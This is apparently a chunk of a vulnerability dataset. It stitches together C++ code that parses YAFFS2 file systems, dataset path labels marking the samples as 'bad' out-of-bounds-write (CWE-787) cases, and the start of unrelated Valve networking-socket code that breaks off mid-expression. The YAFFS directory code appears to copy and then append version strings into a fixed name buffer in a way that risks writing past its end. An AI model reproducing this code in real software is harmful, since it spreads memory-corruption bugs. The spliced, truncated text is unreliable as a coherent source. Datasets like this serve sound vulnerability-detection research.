tsk_fprintf(hFile, "symbolic link to: %s\n", fs_meta->link); tsk_fprintf(hFile, "uid / gid: %" PRIuUID " / %" PRIuGID "\n", fs_meta->uid, fs_meta->gid); tsk_fs_meta_make_ls(fs_meta, ls, sizeof(ls)); tsk_fprintf(hFile, "mode: %s\n", ls); tsk_fprintf(hFile, "size: %" PRIdOFF "\n", fs_meta->size); tsk_fprintf(hFile, "num of links: %d\n", fs_meta->nlink); if(version != NULL){ yaffsfs_read_header(yfs, &header, version->ycv_header_chunk->ycc_offset); if(header != NULL){ tsk_fprintf(hFile, "Name: %s\n", header->name); } } if (sec_skew != 0) { tsk_fprintf(hFile, "\nAdjusted Inode Times:\n"); fs_meta->mtime -= sec_skew; fs_meta->atime -= sec_skew; fs_meta->ctime -= sec_skew; tsk_fprintf(hFile, "Accessed:\t%s\n", tsk_fs_time_to_str(fs_meta->atime, timeBuf)); tsk_fprintf(hFile, "File Modified:\t%s\n", tsk_fs_time_to_str(fs_meta->mtime, timeBuf)); tsk_fprintf(hFile, "Inode Modified:\t%s\n", tsk_fs_time_to_str(fs_meta->ctime, timeBuf)); fs_meta->mtime += sec_skew; fs_meta->atime += sec_skew; fs_meta->ctime += sec_skew; tsk_fprintf(hFile, "\nOriginal Inode Times:\n"); } else { tsk_fprintf(hFile, "\nInode Times:\n"); } tsk_fprintf(hFile, "Accessed:\t%s\n", tsk_fs_time_to_str(fs_meta->atime, timeBuf)); tsk_fprintf(hFile, "File Modified:\t%s\n", tsk_fs_time_to_str(fs_meta->mtime, timeBuf)); tsk_fprintf(hFile, "Inode Modified:\t%s\n", tsk_fs_time_to_str(fs_meta->ctime, timeBuf)); if(version != NULL){ tsk_fprintf(hFile, "\nHeader Chunk:\n"); tsk_fprintf(hFile, "%" PRIuDADDR "\n", (version->ycv_header_chunk->ycc_offset / (yfs->page_size + yfs->spare_size))); } if (numblock > 0) { TSK_OFF_T lower_size = numblock * fs->block_size; fs_meta->size = (lower_size < fs_meta->size)?(lower_size):(fs_meta->size); } tsk_fprintf(hFile, "\nData Chunks:\n"); if (flags & TSK_FS_ISTAT_RUNLIST){ const TSK_FS_ATTR *fs_attr_default = tsk_fs_file_attr_get_type(fs_file, TSK_FS_ATTR_TYPE_DEFAULT, 0, 0); if (fs_attr_default && (fs_attr_default->flags & TSK_FS_ATTR_NONRES)) { if (tsk_fs_attr_print(fs_attr_default, hFile)) { tsk_fprintf(hFile, "\nError creating run lists "); tsk_error_print(hFile); tsk_error_reset(); } } } else { print.idx = 0; print.hFile = hFile; if (tsk_fs_file_walk(fs_file, TSK_FS_FILE_WALK_FLAG_AONLY, (TSK_FS_FILE_WALK_CB)print_addr_act, (void *)&print)) { tsk_fprintf(hFile, "\nError reading file: "); tsk_error_print(hFile); tsk_error_reset(); } else if (print.idx != 0) { tsk_fprintf(hFile, "\n"); } } tsk_fs_file_close(fs_file); return 0; } /* yaffsfs_close - close an yaffsfs file system */ static void yaffsfs_close(TSK_FS_INFO *fs) { if(fs != NULL){ YAFFSFS_INFO *yfs = (YAFFSFS_INFO *)fs; fs->tag = 0; // Walk and free the cache structures yaffscache_objects_free(yfs); yaffscache_chunks_free(yfs); //tsk_deinit_lock(&yaffsfs->lock); tsk_fs_free(fs); } } typedef struct _dir_open_cb_args { YAFFSFS_INFO *yfs; TSK_FS_DIR *dir; TSK_INUM_T parent_addr; } dir_open_cb_args; static TSK_RETVAL_ENUM yaffs_dir_open_meta_cb(YaffsCacheObject * /*obj*/, YaffsCacheVersion *version, void *args) { dir_open_cb_args *cb_args = (dir_open_cb_args *) args; YaffsCacheChunk *chunk = version->ycv_header_chunk; TSK_INUM_T curr_inode = 0; uint32_t obj_id = chunk->ycc_obj_id; uint32_t chunk_id = chunk->ycc_chunk_id; uint32_t vnum = version->ycv_version; YaffsHeader *header = NULL; TSK_FS_NAME * fs_name; char *file_ext; char version_string[64]; // Allow a max of 64 bytes in the version string yaffscache_obj_id_and_version_to_inode(obj_id, vnum, &curr_inode); if (chunk_id != 0) { return TSK_ERR; } if (tsk_verbose) fprintf(stderr, "dir_open_find_children_cb: %08" PRIxINUM " -> %08" PRIx32 ":%d\n", cb_args->parent_addr, obj_id, vnum); if (yaffsfs_read_header(cb_args->yfs, &header, chunk->ycc_offset) != TSK_OK) { return TSK_ERR; } if ((fs_name = tsk_fs_name_alloc(YAFFSFS_MAXNAMLEN + 64, 0)) == NULL) { free(header); return TSK_ERR; } switch (obj_id) { case YAFFS_OBJECT_LOSTNFOUND: strncpy(fs_name->name, YAFFS_OBJECT_LOSTNFOUND_NAME, fs_name->name_size - 64); break; case YAFFS_OBJECT_UNLINKED: strncpy(fs_name->name, YAFFS_OBJECT_UNLINKED_NAME, fs_name->name_size - 64); break; case YAFFS_OBJECT_DELETED: strncpy(fs_name->name, YAFFS_OBJECT_DELETED_NAME, fs_name->name_size - 64); break; default: strncpy(fs_name->name, header->name, fs_name->name_size - 64); break; } fs_name->name[fs_name->name_size - 65] = 0; // Only put object/version string onto unallocated versions if(! yaffs_is_version_allocated(cb_args->yfs, curr_inode)){ // Also copy the extension so that it also shows up after the version string, which allows // easier searching by file extension. Max extension length is 5 characters after the dot, // and require at least one character before the dot file_ext = strrchr(fs_name->name, '.'); if((file_ext != NULL) && (file_ext != fs_name->name) && (strlen(file_ext) < 7)){ snprintf(version_string, 64, "#%d,%d%s", obj_id, vnum, file_ext); } else{ snprintf(version_string, 64, "#%d,%d", obj_id, vnum); } strncat(fs_name->name, version_string, 64); fs_name->flags = TSK_FS_NAME_FLAG_UNALLOC; } else{ fs_name->flags = TSK_FS_NAME_FLAG_ALLOC; } fs_name->meta_addr = curr_inode; switch (header->obj_type) { case YAFFS_TYPE_FILE: fs_name->type = TSK_FS_NAME_TYPE_REG; break; case YAFFS_TYPE_DIRECTORY: fs_name->type = TSK_FS_NAME_TYPE_DIR; break; case YAFFS_TYPE_SOFTLINK: case YAFFS_TYPE_HARDLINK: fs_name->type = TSK_FS_NAME_TYPE_LNK; break; case YAFFS_TYPE_SPECIAL: fs_name->type = TSK_FS_NAME_TYPE_UNDEF; // Could be a socket break; default: if (tsk_verbose) fprintf(stderr, "yaffs_dir_open_meta_cb: unhandled object type\n"); fs_name->type = TSK_FS_NAME_TYPE_UNDEF; break; } free(header); if (tsk_fs_dir_add(cb_args->dir, fs_name)) { tsk_fs_name_free(fs_name); return TSK_ERR; } /* A copy is made in tsk_fs_dir_add, so we can free this one */ tsk_fs_name_free(fs_name); return TSK_OK; } static TSK_RETVAL_ENUM yaffsfs_dir_open_meta(TSK_FS_INFO *a_fs, TSK_FS_DIR ** a_fs_dir, TSK_INUM_T a_addr) { TSK_FS_DIR *fs_dir; TSK_FS_NAME *fs_name; YAFFSFS_INFO *yfs = (YAFFSFS_INFO *)a_fs; int should_walk_children = 0; uint32_t obj_id; uint32_t ver_number; if (a_addr < a_fs->first_inum || a_addr > a_fs->last_inum) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_WALK_RNG); tsk_error_set_errstr("yaffs_dir_open_meta: Invalid inode value: %" PRIuINUM, a_addr); return TSK_ERR; } else if (a_fs_dir == NULL) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_ARG); tsk_error_set_errstr("yaffs_dir_open_meta: NULL fs_dir argument given"); return TSK_ERR; } fs_dir = *a_fs_dir; if (fs_dir) { tsk_fs_dir_reset(fs_dir); fs_dir->addr = a_addr; } else if ((*a_fs_dir = fs_dir = tsk_fs_dir_alloc(a_fs, a_addr, 128)) == NULL) { return TSK_ERR; } if (tsk_verbose) fprintf(stderr,"yaffs_dir_open_meta: called for directory %" PRIu32 "\n", (uint32_t) a_addr); // handle the orphan directory if its contents were requested if (a_addr == TSK_FS_ORPHANDIR_INUM(a_fs)) { return tsk_fs_dir_find_orphans(a_fs, fs_dir); } if ((fs_name = tsk_fs_name_alloc(YAFFSFS_MAXNAMLEN, 0)) == NULL) { return TSK_ERR; } if ((fs_dir->fs_file = tsk_fs_file_open_meta(a_fs, NULL, a_addr)) == NULL) { tsk_error_errstr2_concat(" - yaffs_dir_open_meta"); tsk_fs_name_free(fs_name); return TSK_ERR; } // extract obj_id and ver_number from inum yaffscache_inode_to_obj_id_and_version(a_addr, &obj_id, &ver_number); // Decide if we should walk the directory structure if (obj_id == YAFFS_OBJECT_DELETED || obj_id == YAFFS_OBJECT_UNLINKED) { should_walk_children = 1; } else { YaffsCacheObject *obj; YaffsCacheVersion *versionFound; TSK_RETVAL_ENUM result = yaffscache_version_find_by_inode(yfs, a_addr, &versionFound, &obj); if (result != TSK_OK) { if (tsk_verbose) tsk_fprintf(stderr, "yaffsfs_dir_open_meta: yaffscache_version_find_by_inode failed! (inode: %d\n", a_addr); tsk_fs_name_free(fs_name); return TSK_ERR; } /* Only attach files onto the latest version of the directory */ should_walk_children = (obj->yco_latest == versionFound); } // Search the cache for the children of this object and add them to fs_dir if (should_walk_children) { dir_open_cb_args args; args.yfs = yfs; args.dir = fs_dir; args.parent_addr = a_addr; yaffscache_find_children(yfs, a_addr, yaffs_dir_open_meta_cb, &args); } // add special entries to root directory if (obj_id == YAFFS_OBJECT_ROOT) { strncpy(fs_name->name, YAFFS_OBJECT_UNLINKED_NAME, fs_name->name_size); fs_name->meta_addr = YAFFS_OBJECT_UNLINKED; fs_name->type = TSK_FS_NAME_TYPE_DIR; fs_name->flags = TSK_FS_NAME_FLAG_ALLOC; if (tsk_fs_dir_add(fs_dir, fs_name)) { tsk_fs_name_free(fs_name); return TSK_ERR; } strncpy(fs_name->name, YAFFS_OBJECT_DELETED_NAME, fs_name->name_size); fs_name->meta_addr = YAFFS_OBJECT_DELETED; fs_name->type = TSK_FS_NAME_TYPE_DIR; fs_name->flags = TSK_FS_NAME_FLAG_ALLOC; if (tsk_fs_dir_add(fs_dir, fs_name)) { tsk_fs_name_free(fs_name); return TSK_ERR; } // orphan directory if (tsk_fs_dir_make_orphan_dir_name(a_fs, fs_name)) { tsk_fs_name_free(fs_name); return TSK_ERR; } fs_name->meta_addr = yfs->fs_info.last_inum; fs_name->type = TSK_FS_NAME_TYPE_DIR; fs_name->flags = TSK_FS_NAME_FLAG_ALLOC; if (tsk_fs_dir_add(fs_dir, fs_name)) { tsk_fs_name_free(fs_name); return TSK_ERR; } } tsk_fs_name_free(fs_name); return TSK_OK; } static TSK_FS_ATTR_TYPE_ENUM yaffsfs_get_default_attr_type(const TSK_FS_FILE * /*a_file*/) { return TSK_FS_ATTR_TYPE_DEFAULT; } static uint8_t yaffsfs_load_attrs(TSK_FS_FILE *file) { TSK_FS_ATTR *attr; TSK_FS_META *meta; TSK_FS_INFO *fs; YAFFSFS_INFO *yfs; TSK_FS_ATTR_RUN *data_run; TSK_DADDR_T file_block_count; YaffsCacheObject *obj; YaffsCacheVersion *version; TSK_RETVAL_ENUM result; TSK_LIST *chunks_seen = NULL; YaffsCacheChunk *curr; TSK_FS_ATTR_RUN *data_run_new; if (file == NULL || file->meta == NULL || file->fs_info == NULL) { tsk_error_set_errno(TSK_ERR_FS_ARG); tsk_error_set_errstr ("yaffsfs_load_attrs: called with NULL pointers"); return 1; } meta = file->meta; yfs = (YAFFSFS_INFO *)file->fs_info; fs = &yfs->fs_info; // see if we have already loaded the runs if ((meta->attr != NULL) && (meta->attr_state == TSK_FS_META_ATTR_STUDIED)) { return 0; } else if (meta->attr_state == TSK_FS_META_ATTR_ERROR) { return 1; } // not sure why this would ever happen, but... else if (meta->attr != NULL) { tsk_fs_attrlist_markunused(meta->attr); } else if (meta->attr == NULL) { meta->attr = tsk_fs_attrlist_alloc(); } attr = tsk_fs_attrlist_getnew(meta->attr, TSK_FS_ATTR_NONRES); if (attr == NULL) { meta->attr_state = TSK_FS_META_ATTR_ERROR; return 1; } if (meta->size == 0) { data_run = NULL; } else { /* BC: I'm not entirely sure this is needed. My guess is that * this was done instead of maintaining the head of the list of * runs. In theory, the tsk_fs_attr_add_run() method should handle * the fillers. */ data_run = tsk_fs_attr_run_alloc(); if (data_run == NULL) { tsk_fs_attr_run_free(data_run); meta->attr_state = TSK_FS_META_ATTR_ERROR; return 1; } data_run->offset = 0; data_run->addr = 0; data_run->len = (meta->size + fs->block_size - 1) / fs->block_size; data_run->flags = TSK_FS_ATTR_RUN_FLAG_FILLER; } // initialize the data run if (tsk_fs_attr_set_run(file, attr, data_run, NULL, TSK_FS_ATTR_TYPE_DEFAULT, TSK_FS_ATTR_ID_DEFAULT, meta->size, meta->size, roundup(meta->size, fs->block_size), (TSK_FS_ATTR_FLAG_ENUM)0, 0)) { meta->attr_state = TSK_FS_META_ATTR_ERROR; return 1; } // If the file has size zero, return now if(meta->size == 0){ meta->attr_state = TSK_FS_META_ATTR_STUDIED; return 0; } /* Get the version for the given object. */ result = yaffscache_version_find_by_inode(yfs, meta->addr, &version, &obj); if (result != TSK_OK || version == NULL) { if (tsk_verbose) tsk_fprintf(stderr, "yaffsfs_load_attrs: yaffscache_version_find_by_inode failed!\n"); meta->attr_state = TSK_FS_META_ATTR_ERROR; return 1; } if (tsk_verbose) yaffscache_object_dump(stderr, obj); file_block_count = data_run->len; /* Cycle through the chunks for this version of this object */ curr = version->ycv_last_chunk; while (curr != NULL && curr->ycc_obj_id == obj->yco_obj_id) { if (curr->ycc_chunk_id == 0) { if (tsk_verbose) tsk_fprintf(stderr, "yaffsfs_load_attrs: skipping header chunk\n"); } else if (tsk_list_find(chunks_seen, curr->ycc_chunk_id)) { if (tsk_verbose) tsk_fprintf(stderr, "yaffsfs_load_attrs: skipping duplicate chunk\n"); } else if (curr->ycc_chunk_id > file_block_count) { if (tsk_verbose) tsk_fprintf(stderr, "yaffsfs_load_attrs: skipping chunk past end\n"); } /* We like this chunk */ else { // add it to our internal list if (tsk_list_add(&chunks_seen, curr->ycc_chunk_id)) { meta->attr_state = TSK_FS_META_ATTR_ERROR; tsk_list_free(chunks_seen); chunks_seen = NULL; return 1; } data_run_new = tsk_fs_attr_run_alloc(); if (data_run_new == NULL) { tsk_fs_attr_run_free(data_run_new); meta->attr_state = TSK_FS_META_ATTR_ERROR; return 1; } data_run_new->offset = (curr->ycc_chunk_id - 1); data_run_new->addr = curr->ycc_offset / (fs->block_pre_size + fs->block_size + fs->block_post_size); data_run_new->len = 1; data_run_new->flags = TSK_FS_ATTR_RUN_FLAG_NONE; if (tsk_verbose) tsk_fprintf(stderr, "yaffsfs_load_attrs: @@@ Chunk %d : %08x is at offset 0x%016llx\n", curr->ycc_chunk_id, curr->ycc_seq_number, curr->ycc_offset); tsk_fs_attr_add_run(fs, attr, data_run_new); } curr = curr->ycc_prev; } tsk_list_free(chunks_seen); meta->attr_state = TSK_FS_META_ATTR_STUDIED; return 0; } static uint8_t yaffsfs_jentry_walk(TSK_FS_INFO * /*info*/, int /*entry*/, TSK_FS_JENTRY_WALK_CB /*cb*/, void * /*fn*/) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_UNSUPFUNC); tsk_error_set_errstr("Journal support for YAFFS is not implemented"); return 1; } static uint8_t yaffsfs_jblk_walk(TSK_FS_INFO * /*info*/, TSK_DADDR_T /*daddr*/, TSK_DADDR_T /*daddrt*/, int /*entry*/, TSK_FS_JBLK_WALK_CB /*cb*/, void * /*fn*/) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_UNSUPFUNC); tsk_error_set_errstr("Journal support for YAFFS is not implemented"); return 1; } static uint8_t yaffsfs_jopen(TSK_FS_INFO * /*info*/, TSK_INUM_T /*inum*/) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_UNSUPFUNC); tsk_error_set_errstr("Journal support for YAFFS is not implemented"); return 1; } /** * \internal * Open part of a disk image as a Yaffs/2 file system. * * @param img_info Disk image to analyze * @param offset Byte offset where file system starts * @param ftype Specific type of file system * @param test Going to use this - 1 if we're doing auto-detect, 0 if not (display more verbose messages if the user specified YAFFS2) * @returns NULL on error or if data is not an Yaffs/3 file system */ TSK_FS_INFO * yaffs2_open(TSK_IMG_INFO * img_info, TSK_OFF_T offset, TSK_FS_TYPE_ENUM ftype, uint8_t test) { YAFFSFS_INFO *yaffsfs = NULL; TSK_FS_INFO *fs = NULL; const unsigned int psize = img_info->page_size; const unsigned int ssize = img_info->spare_size; YaffsHeader * first_header = NULL; TSK_FS_DIR *test_dir; std::map<std::string, std::string> configParams; YAFFS_CONFIG_STATUS config_file_status; // clean up any error messages that are lying around tsk_error_reset(); if (TSK_FS_TYPE_ISYAFFS2(ftype) == 0) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_ARG); tsk_error_set_errstr("Invalid FS Type in yaffsfs_open"); return NULL; } if (img_info->sector_size == 0) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_ARG); tsk_error_set_errstr("yaffs2_open: sector size is 0"); return NULL; } if ((yaffsfs = (YAFFSFS_INFO *) tsk_fs_malloc(sizeof(YAFFSFS_INFO))) == NULL) return NULL; yaffsfs->cache_objects = NULL; yaffsfs->chunkMap = NULL; fs = &(yaffsfs->fs_info); fs->tag = TSK_FS_INFO_TAG; fs->ftype = ftype; fs->flags = (TSK_FS_INFO_FLAG_ENUM)0; fs->img_info = img_info; fs->offset = offset; fs->endian = TSK_LIT_ENDIAN; // Read config file (if it exists) config_file_status = yaffs_load_config_file(img_info, configParams); // BL-6929(JTS): When using external readers, this call will fail. // Not having a config should not be a fatal error. /*if(config_file_status == YAFFS_CONFIG_ERROR){ // tsk_error was set by yaffs_load_config goto on_error; } else*/ if(config_file_status == YAFFS_CONFIG_OK){ // Validate the input // If it fails validation, return (tsk_error will be set up already) if(1 == yaffs_validate_config_file(configParams)){ goto on_error; } } // If we read these fields from the config file, use those values. Otherwise use the defaults if(configParams.find(YAFFS_CONFIG_PAGE_SIZE_STR) != configParams.end()){ yaffsfs->page_size = atoi(configParams[YAFFS_CONFIG_PAGE_SIZE_STR].c_str()); } else{ yaffsfs->page_size = psize == 0 ? YAFFS_DEFAULT_PAGE_SIZE : psize; } if(configParams.find(YAFFS_CONFIG_SPARE_SIZE_STR) != configParams.end()){ yaffsfs->spare_size = atoi(configParams[YAFFS_CONFIG_SPARE_SIZE_STR].c_str()); } else{ yaffsfs->spare_size = ssize == 0 ? YAFFS_DEFAULT_SPARE_SIZE : ssize; } if(configParams.find(YAFFS_CONFIG_CHUNKS_PER_BLOCK_STR) != configParams.end()){ yaffsfs->chunks_per_block = atoi(configParams[YAFFS_CONFIG_CHUNKS_PER_BLOCK_STR].c_str()); } else{ yaffsfs->chunks_per_block = 64; } // TODO: Why are 2 different memory allocation methods used in the same code? // This makes things unnecessary complex. yaffsfs->max_obj_id = 1; yaffsfs->max_version = 0; // Keep track of whether we're doing auto-detection of the file system if(test){ yaffsfs->autoDetect = 1; } else{ yaffsfs->autoDetect = 0; } // Determine the layout of the spare area // If it was specified in the config file, use those values. Otherwise do the auto-detection if(configParams.find(YAFFS_CONFIG_SEQ_NUM_STR) != configParams.end()){ // In the validation step, we ensured that if one of the offsets was set, we have all of them yaffsfs->spare_seq_offset = atoi(configParams[YAFFS_CONFIG_SEQ_NUM_STR].c_str()); yaffsfs->spare_obj_id_offset = atoi(configParams[YAFFS_CONFIG_OBJ_ID_STR].c_str()); yaffsfs->spare_chunk_id_offset = atoi(configParams[YAFFS_CONFIG_CHUNK_ID_STR].c_str()); // Check that the offsets are valid for the given spare area size (fields are 4 bytes long) if((yaffsfs->spare_seq_offset + 4 > yaffsfs->spare_size) || (yaffsfs->spare_obj_id_offset + 4 > yaffsfs->spare_size) || (yaffsfs->spare_chunk_id_offset + 4 > yaffsfs->spare_size)){ tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS); tsk_error_set_errstr("yaffs2_open: Offset(s) in config file too large for spare area (size %d). %s", yaffsfs->spare_size, YAFFS_HELP_MESSAGE); goto on_error; } // nBytes isn't currently used, so just set to zero yaffsfs->spare_nbytes_offset = 0; } else{ // Decide how many blocks to test. If we're not doing auto-detection, set to zero (no limit) unsigned int maxBlocksToTest; if(yaffsfs->autoDetect){ maxBlocksToTest = YAFFS_DEFAULT_MAX_TEST_BLOCKS; } else{ maxBlocksToTest = 0; } if(yaffs_initialize_spare_format(yaffsfs, maxBlocksToTest) != TSK_OK){ tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_MAGIC); tsk_error_set_errstr("not a YAFFS file system (bad spare format). %s", YAFFS_HELP_MESSAGE); if (tsk_verbose) fprintf(stderr, "yaffsfs_open: could not find valid spare area format\n%s\n", YAFFS_HELP_MESSAGE); goto on_error; } } /* * Read the first record, make sure it's a valid header... * * Used for verification and autodetection of * the FS type. */ if (yaffsfs_read_header(yaffsfs, &first_header, 0)) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_MAGIC); tsk_error_set_errstr("not a YAFFS file system (first record). %s", YAFFS_HELP_MESSAGE); if (tsk_verbose) fprintf(stderr, "yaffsfs_open: invalid first record\n%s\n", YAFFS_HELP_MESSAGE); goto on_error; } free(first_header); first_header = NULL; fs->duname = "Chunk"; /* * Calculate the meta data info */ //fs->last_inum = 0xffffffff; // Will update this as we go fs->last_inum = 0; fs->root_inum = YAFFS_OBJECT_ROOT; fs->first_inum = YAFFS_OBJECT_FIRST; //fs->inum_count = fs->last_inum; // For now this will be the last_inum - 1 (after we calculate it) /* * Calculate the block info */ fs->dev_bsize = img_info->sector_size; fs->block_size = yaffsfs->page_size; fs->block_pre_size = 0; fs->block_post_size = yaffsfs->spare_size; fs->block_count = img_info->size / (fs->block_pre_size + fs->block_size + fs->block_post_size); fs->first_block = 0; fs->last_block_act = fs->last_block = fs->block_count ? fs->block_count - 1 : 0; /* Set the generic function pointers */ fs->inode_walk = yaffsfs_inode_walk; fs->block_walk = yaffsfs_block_walk; fs->block_getflags = yaffsfs_block_getflags; fs->get_default_attr_type = yaffsfs_get_default_attr_type; fs->load_attrs = yaffsfs_load_attrs; fs->file_add_meta = yaffs_inode_lookup; fs->dir_open_meta = yaffsfs_dir_open_meta; fs->fsstat = yaffsfs_fsstat; fs->fscheck = yaffsfs_fscheck; fs->istat = yaffsfs_istat; fs->name_cmp = tsk_fs_unix_name_cmp; fs->close = yaffsfs_close; /* Journal */ fs->jblk_walk = yaffsfs_jblk_walk; fs->jentry_walk = yaffsfs_jentry_walk; fs->jopen = yaffsfs_jopen; /* Initialize the caches */ if (tsk_verbose) fprintf(stderr, "yaffsfs_open: building cache...\n"); /* Build cache */ /* NOTE: The only modifications to the cache happen here, during at * the open. Should be fine with no lock, even if access to the * cache is shared among threads. */ //tsk_init_lock(&yaffsfs->lock); yaffsfs->chunkMap = new std::map<uint32_t, YaffsCacheChunkGroup>; if (TSK_OK != yaffsfs_parse_image_load_cache(yaffsfs)) { goto on_error; } if (tsk_verbose) { fprintf(stderr, "yaffsfs_open: done building cache!\n"); //yaffscache_objects_dump(yaffsfs, stderr); } // Update the number of inums now that we've read in the file system fs->inum_count = fs->last_inum - 1; test_dir = tsk_fs_dir_open_meta(fs, fs->root_inum); if (test_dir == NULL) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_MAGIC); tsk_error_set_errstr("not a YAFFS file system (no root directory). %s", YAFFS_HELP_MESSAGE); if (tsk_verbose) fprintf(stderr, "yaffsfs_open: invalid file system\n%s\n", YAFFS_HELP_MESSAGE); goto on_error; } tsk_fs_dir_close(test_dir); return fs; on_error: // yaffsfs_close frees all the cache objects yaffsfs_close(fs); return NULL; }
./CrossVul/dataset_final_sorted/CWE-787/cpp/bad_3866_0
crossvul-cpp_data_bad_4593_0
//====== Copyright Valve Corporation, All rights reserved. ==================== #include "steamnetworkingsockets_snp.h" #include "steamnetworkingsockets_connections.h" #include "crypto.h" // memdbgon must be the last include file in a .cpp file!!! #include "tier0/memdbgon.h" namespace SteamNetworkingSocketsLib { struct SNPAckSerializerHelper { struct Block { // Acks and nacks count to serialize uint32 m_nAck; uint32 m_nNack; // What to put in the header if we use this as the // highest numbered block uint32 m_nLatestPktNum; // Lower 32-bits. We might send even fewer bits uint16 m_nEncodedTimeSinceLatestPktNum; // Total size of ack data up to this point: // header, all previous blocks, and this block int16 m_cbTotalEncodedSize; }; enum { k_cbHeaderSize = 5 }; enum { k_nMaxBlocks = 64 }; int m_nBlocks; int m_nBlocksNeedToAck; // Number of blocks we really need to send now. Block m_arBlocks[ k_nMaxBlocks ]; static uint16 EncodeTimeSince( SteamNetworkingMicroseconds usecNow, SteamNetworkingMicroseconds usecWhenSentLast ) { // Encode time since last SteamNetworkingMicroseconds usecElapsedSinceLast = usecNow - usecWhenSentLast; Assert( usecElapsedSinceLast >= 0 ); Assert( usecNow > 0x20000*k_usecAckDelayPrecision ); // We should never have small timestamp values. A timestamp of zero should always be "a long time ago" if ( usecElapsedSinceLast > 0xfffell<<k_nAckDelayPrecisionShift ) return 0xffff; return uint16( usecElapsedSinceLast >> k_nAckDelayPrecisionShift ); } }; // Fetch ping, and handle two edge cases: // - if we don't have an estimate, just be relatively conservative // - clamp to minimum inline SteamNetworkingMicroseconds GetUsecPingWithFallback( CSteamNetworkConnectionBase *pConnection ) { int nPingMS = pConnection->m_statsEndToEnd.m_ping.m_nSmoothedPing; if ( nPingMS < 0 ) return 200*1000; // no estimate, just be conservative if ( nPingMS < 1 ) return 500; // less than 1ms. Make sure we don't blow up, though, since they are asking for microsecond resolution. We should just keep our pings with microsecond resolution! return nPingMS*1000; } void SSNPSenderState::Shutdown() { m_unackedReliableMessages.PurgeMessages(); m_messagesQueued.PurgeMessages(); m_mapInFlightPacketsByPktNum.clear(); m_listInFlightReliableRange.clear(); m_cbPendingUnreliable = 0; m_cbPendingReliable = 0; m_cbSentUnackedReliable = 0; } //----------------------------------------------------------------------------- void SSNPSenderState::RemoveAckedReliableMessageFromUnackedList() { // Trim messages from the head that have been acked. // Note that in theory we could have a message in the middle that // has been acked. But it's not worth the time to go looking for them, // just to free up a bit of memory early. We'll get to it once the earlier // messages have been acked. while ( !m_unackedReliableMessages.empty() ) { CSteamNetworkingMessage *pMsg = m_unackedReliableMessages.m_pFirst; Assert( pMsg->SNPSend_ReliableStreamPos() > 0 ); int64 nReliableEnd = pMsg->SNPSend_ReliableStreamPos() + pMsg->m_cbSize; // Are we backing a range that is in flight (and thus we might need // to resend?) if ( !m_listInFlightReliableRange.empty() ) { auto head = m_listInFlightReliableRange.begin(); Assert( head->first.m_nBegin >= pMsg->SNPSend_ReliableStreamPos() ); if ( head->second == pMsg ) { Assert( head->first.m_nBegin < nReliableEnd ); return; } Assert( head->first.m_nBegin >= nReliableEnd ); } // Are we backing the next range that is ready for resend now? if ( !m_listReadyRetryReliableRange.empty() ) { auto head = m_listReadyRetryReliableRange.begin(); Assert( head->first.m_nBegin >= pMsg->SNPSend_ReliableStreamPos() ); if ( head->second == pMsg ) { Assert( head->first.m_nBegin < nReliableEnd ); return; } Assert( head->first.m_nBegin >= nReliableEnd ); } // We're all done! DbgVerify( m_unackedReliableMessages.pop_front() == pMsg ); pMsg->Release(); } } //----------------------------------------------------------------------------- SSNPSenderState::SSNPSenderState() { // Setup the table of inflight packets with a sentinel. m_mapInFlightPacketsByPktNum.clear(); SNPInFlightPacket_t &sentinel = m_mapInFlightPacketsByPktNum[INT64_MIN]; sentinel.m_bNack = false; sentinel.m_pTransport = nullptr; sentinel.m_usecWhenSent = 0; m_itNextInFlightPacketToTimeout = m_mapInFlightPacketsByPktNum.end(); DebugCheckInFlightPacketMap(); } #if STEAMNETWORKINGSOCKETS_SNP_PARANOIA > 0 void SSNPSenderState::DebugCheckInFlightPacketMap() const { Assert( !m_mapInFlightPacketsByPktNum.empty() ); bool bFoundNextToTimeout = false; auto it = m_mapInFlightPacketsByPktNum.begin(); Assert( it->first == INT64_MIN ); Assert( m_itNextInFlightPacketToTimeout != it ); int64 prevPktNum = it->first; SteamNetworkingMicroseconds prevWhenSent = it->second.m_usecWhenSent; while ( ++it != m_mapInFlightPacketsByPktNum.end() ) { Assert( prevPktNum < it->first ); Assert( prevWhenSent <= it->second.m_usecWhenSent ); if ( it == m_itNextInFlightPacketToTimeout ) { Assert( !bFoundNextToTimeout ); bFoundNextToTimeout = true; } prevPktNum = it->first; prevWhenSent = it->second.m_usecWhenSent; } if ( !bFoundNextToTimeout ) { Assert( m_itNextInFlightPacketToTimeout == m_mapInFlightPacketsByPktNum.end() ); } } #endif //----------------------------------------------------------------------------- SSNPReceiverState::SSNPReceiverState() { // Init packet gaps with a sentinel SSNPPacketGap &sentinel = m_mapPacketGaps[INT64_MAX]; sentinel.m_nEnd = INT64_MAX; // Fixed value sentinel.m_usecWhenOKToNack = INT64_MAX; // Fixed value, for when there is nothing left to nack sentinel.m_usecWhenAckPrior = INT64_MAX; // Time when we need to flush a report on all lower-numbered packets // Point at the sentinel m_itPendingAck = m_mapPacketGaps.end(); --m_itPendingAck; m_itPendingNack = m_itPendingAck; } //----------------------------------------------------------------------------- void SSNPReceiverState::Shutdown() { m_mapUnreliableSegments.clear(); m_bufReliableStream.clear(); m_mapReliableStreamGaps.clear(); m_mapPacketGaps.clear(); } //----------------------------------------------------------------------------- void CSteamNetworkConnectionBase::SNP_InitializeConnection( SteamNetworkingMicroseconds usecNow ) { m_senderState.TokenBucket_Init( usecNow ); SteamNetworkingMicroseconds usecPing = GetUsecPingWithFallback( this ); /* * Compute the initial sending rate X_init in the manner of RFC 3390: * * X_init = min(4 * s, max(2 * s, 4380 bytes)) / RTT * * Note that RFC 3390 uses MSS, RFC 4342 refers to RFC 3390, and rfc3448bis * (rev-02) clarifies the use of RFC 3390 with regard to the above formula. */ Assert( usecPing > 0 ); int64 w_init = Clamp( 4380, 2 * k_cbSteamNetworkingSocketsMaxEncryptedPayloadSend, 4 * 